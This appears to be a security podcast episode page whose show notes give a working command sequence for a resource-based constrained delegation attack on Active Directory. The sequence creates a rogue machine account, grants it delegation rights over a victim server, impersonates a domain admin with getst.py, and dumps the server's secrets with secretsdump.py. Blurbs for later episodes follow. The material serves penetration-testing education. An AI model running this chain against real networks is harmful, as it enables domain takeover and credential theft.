7MS #521: Tales of Pentest Pwnage - Part 36
7 Minute Security20 Touko 2022

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

Jaksot(703)

7MS #623: Prelude to a Tale of Pentest Pwnage

7MS #623: Prelude to a Tale of Pentest Pwnage

Today's prelude to a tale of pentest pwnage talks about something called "spnless RBCD" (resource-based constrained delegation). The show notes don't format well here in the podcast notes, so head to 7minsec.com to see the notes in all their glory.

10 Touko 202424min

7MS #622: Migrating from vCenter to Proxmox - Part 1

7MS #622: Migrating from vCenter to Proxmox - Part 1

Sadly, the Broadcom acquisition of VMWare has hit 7MinSec hard – we love running ESXi on our NUCs, but ESXi free is no longer available. To add insult to injury, our vCenter lab at OVHcloud HQ got a huge price gouge (due to license cost increase; not OVH's fault). Now we're exploring Proxmox as an alternative hypervisor, so we're using today's episode to kick off a series about the joys and pains of this migration process.

5 Touko 202416min

7MS #621: Eating the Security Dog Food - Part 6

7MS #621: Eating the Security Dog Food - Part 6

Today we revisit a series about eating the security dog food – in other words, practicing what we preach as security gurus! Specifically we talk about: We're going to get a third-party assessment on 7MinSec (the business) Tips for secure email backup/storage Limiting the retention of sensitive data you store in cloud places

26 Huhti 202423min

7MS #620: Securing Your Mental Health - Part 5

7MS #620: Securing Your Mental Health - Part 5

Today we're talking about tips to deal with stress and anxiety: It sounds basic, but take breaks – and take them in a different place (don't just stay in the office and do more screen/doom-scrolling) I've never gotten to a place in my workload where I go "Ahhh, all caught up!" so I should stop striving to hit that invisible goal. Chiropractic and back massages have done wonders for the tightness in my neck and shoulders For me, video games where you punch and kick things relieves stress as well (including a specific game that's definitely not for kids!)

21 Huhti 202422min

7MS #619: Tales of Pentest Pwnage – Part 56

7MS #619: Tales of Pentest Pwnage – Part 56

We did something crazy today and recorded an episode that was 7 minutes long! Today we talk about some things that have helped us out in recent pentests: When using Farmer to create "trap" files that coerce authentication, I've found way better results using Windows Search Connectors (.searchConnector-ms) files This matrix of "can I relay this to that" has been super helpful, especially early in engagements

14 Huhti 20247min

7MS #618: Writing Savage Pentest Reports with Sysreptor

7MS #618: Writing Savage Pentest Reports with Sysreptor

Today's episode is all about writing reports in Sysreptor. It's awesome! Main takeaways: The price is free (they have a paid version as well)! You can send findings and artifacts directly to the report server using the reptor Python module Warning: Sysreptor only exports to PDF (no Word version option!) Sysreptor has helped us write reports faster without sacrificing quality

5 Huhti 202438min

7MS #617: Tales of Pentest Pwnage – Part 55

7MS #617: Tales of Pentest Pwnage – Part 55

Hey friends, today we've got a tale of pentest pwnage that covers: Passwords – make sure to look for patterns such as keyboard walks, as well as people who are picking passwords where the month the password changed is part of the password (say that five times fast)! Making sure you go after cached credentials Attacking SCCM – Misconfiguration Manager is an absolute gem to read, and The First Cred is the Deepest – Part 2 with Gabriel Prud'homme is an absolute gem to see. Also, check out sccmhunter for all your SCCM pwnage needs.

29 Maalis 202436min

7MS #616: Interview with Andrew Morris of GreyNoise

7MS #616: Interview with Andrew Morris of GreyNoise

Hey friends, today we have a super fun interview with Andrew Morris of GreyNoise to share. Andrew chatted with us about: Young Andrew's early adventures in hacking his school's infrastructure (note: don't try this at home, kids!) Meeting a pentester for the first time, and getting his first pentesting job Spinning up a box on the internet, having it get popped instantly, and wondering…"Are all these people trying to hack me?" Battling through a pentester's least favorite part of the job: THE REPORT! GreyNoise's origin story How to build a better honeypot/honeynet

22 Maalis 202459min

Suosittua kategoriassa Politiikka ja uutiset

rss-ootsa-kuullut-tasta
aikalisa
tervo-halme
ootsa-kuullut-tasta-2
politiikan-puskaradio
otetaan-yhdet
rss-podme-livebox
et-sa-noin-voi-sanoo-esittaa
aihe
rss-kaikki-uusiksi
rss-raha-talous-ja-politiikka
rss-tasta-on-kyse-ivan-puopolo-verkkouutiset
radio-antro
rss-uusi-juttu
rss-lets-talk-about-hair
rss-hyvaa-huomenta-bryssel
linda-maria
rss-terveisia-seelannista
rss-toisten-taskuilla
rss-podcast-podcast-3